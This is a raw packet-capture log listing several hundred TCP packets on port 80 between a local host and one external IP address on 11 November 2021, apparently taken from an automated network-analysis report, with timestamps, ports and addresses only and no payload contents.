Nov 11, 2021 22:25:26.508528948 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.508543968 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.508568048 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.508579016 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.508593082 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.508616924 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.508635044 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.508641005 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.508671045 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.508687973 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.508696079 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.508721113 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.508732080 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.508744955 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.508770943 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.508783102 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.508797884 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.508822918 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.508831024 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.508858919 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.508889914 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.508909941 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.508915901 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.508940935 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.508951902 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.508965969 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.508990049 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.509007931 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.509015083 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.509042978 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.509059906 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.509071112 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.509097099 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.509120941 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.509144068 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.509152889 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.509169102 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.509185076 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.509200096 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.509219885 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.509226084 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.509252071 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.509289026 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.509301901 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.509311914 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.509335995 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.509352922 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.509358883 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.509382010 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.509399891 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.509404898 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.509428024 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.509442091 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.509450912 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.509474039 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.509493113 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.509499073 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.509522915 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.509536028 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.509546995 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.509571075 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.509582996 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.509593010 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.509617090 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.509639025 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.509640932 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.509661913 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.509663105 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.509689093 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.509699106 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.509711981 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.509733915 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.509742975 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.509767056 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.509799004 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.509819984 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.509844065 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.509856939 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.509866953 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.509891033 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.509900093 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.509915113 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.509938002 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.509953976 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.509962082 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.509984970 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.509996891 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.510006905 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.510030031 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.510039091 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.510054111 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.510077953 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.510090113 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.510102987 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.510127068 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.510142088 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.510152102 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.510175943 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.510199070 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.510200024 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.510221958 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.510245085 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.510265112 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.510270119 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.510293961 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.510305882 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.510317087 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.510340929 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.510353088 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.510364056 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.510375977 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.510389090 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.510412931 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.510431051 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.510435104 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.510457039 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.510459900 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.510473967 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.510483980 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.510508060 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.510534048 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.510557890 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.510571957 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.510580063 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.510602951 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.510612011 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.510624886 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.510648012 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.510658979 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.510670900 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.510690928 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.510694981 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.510705948 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.510719061 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.510741949 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.510782003 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.510807037 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.510821104 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.510832071 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.510855913 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.510879040 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.510880947 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.510904074 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.510931969 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.510941982 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.510957003 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.510966063 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.510979891 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.511003971 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.511028051 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.511049986 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.511053085 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.511065960 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.511077881 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.511102915 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.511128902 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.511153936 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.511171103 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.511178017 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.511203051 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.511228085 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.511245966 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.511253119 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.511271954 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.511280060 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.511303902 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.511328936 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.511353970 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.511370897 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.511377096 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.511400938 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.511424065 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.511450052 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.511456966 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.511473894 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.511497974 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.511516094 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.511521101 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.511544943 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.511568069 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.511591911 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.511610985 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.511615038 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.511639118 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.511662960 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.511667967 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.511688948 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.511698008 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.511713028 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.511738062 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.511746883 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.511763096 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.511786938 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.511805058 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.511810064 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.511835098 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.511852980 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.511859894 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.511893034 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.511915922 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.511939049 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.511975050 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.513525009 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.513554096 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.513612032 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.528395891 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.528425932 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.528453112 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.528476954 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.528501034 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.528527021 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.528528929 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.528549910 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.528553963 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.528579950 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.528605938 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.528633118 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.528656960 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.528659105 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.528686047 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.528707027 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.528711081 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.528736115 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.528762102 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.528769016 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.528785944 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.528810024 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.528810978 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.528836966 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.528861046 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.528876066 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.528901100 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.528925896 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.528935909 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.528951883 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.528976917 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.529000998 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.529026031 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.529026985 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.529048920 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.529074907 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.529098988 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.529124975 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.529143095 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.529145956 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.529149055 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.529172897 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.529181957 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.529201031 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.529228926 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.529230118 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.529254913 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.529273033 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.529280901 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.529304981 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.529328108 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.529329062 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.529354095 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.529376030 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.529377937 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.529402971 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.529426098 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.529427052 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.529453039 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.529470921 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.529479027 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.529503107 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.529524088 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.529529095 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.529553890 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.529576063 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.529578924 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.529603958 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.529628038 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.529628038 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.529652119 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.529678106 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.529695988 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.529704094 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.529730082 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.529752016 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.529755116 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.529778957 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.529804945 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.529845953 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.529874086 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.529895067 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.529900074 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.529937029 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.529943943 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.529957056 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.529980898 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.530004025 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.530013084 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.530028105 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.530050039 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.530051947 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.530073881 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.530097961 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.530098915 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.530124903 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.530148029 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.530150890 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.530169964 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.530170918 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.530193090 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.530215979 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.530220032 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.530240059 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.530261993 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.530286074 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.530289888 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.530309916 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.530311108 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.530333042 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.530356884 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.530359030 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.530380011 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.530409098 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.530411959 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.530436039 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.530459881 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.530461073 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.530483961 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.530508041 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.530530930 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.530531883 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.530555010 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.530575991 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.530582905 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.530606031 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.530630112 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.530630112 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.530654907 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.530678034 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.530687094 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.530704021 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.530730009 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.530730009 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.530754089 CET	80	49775	104.21.92.165	192.168.2.5
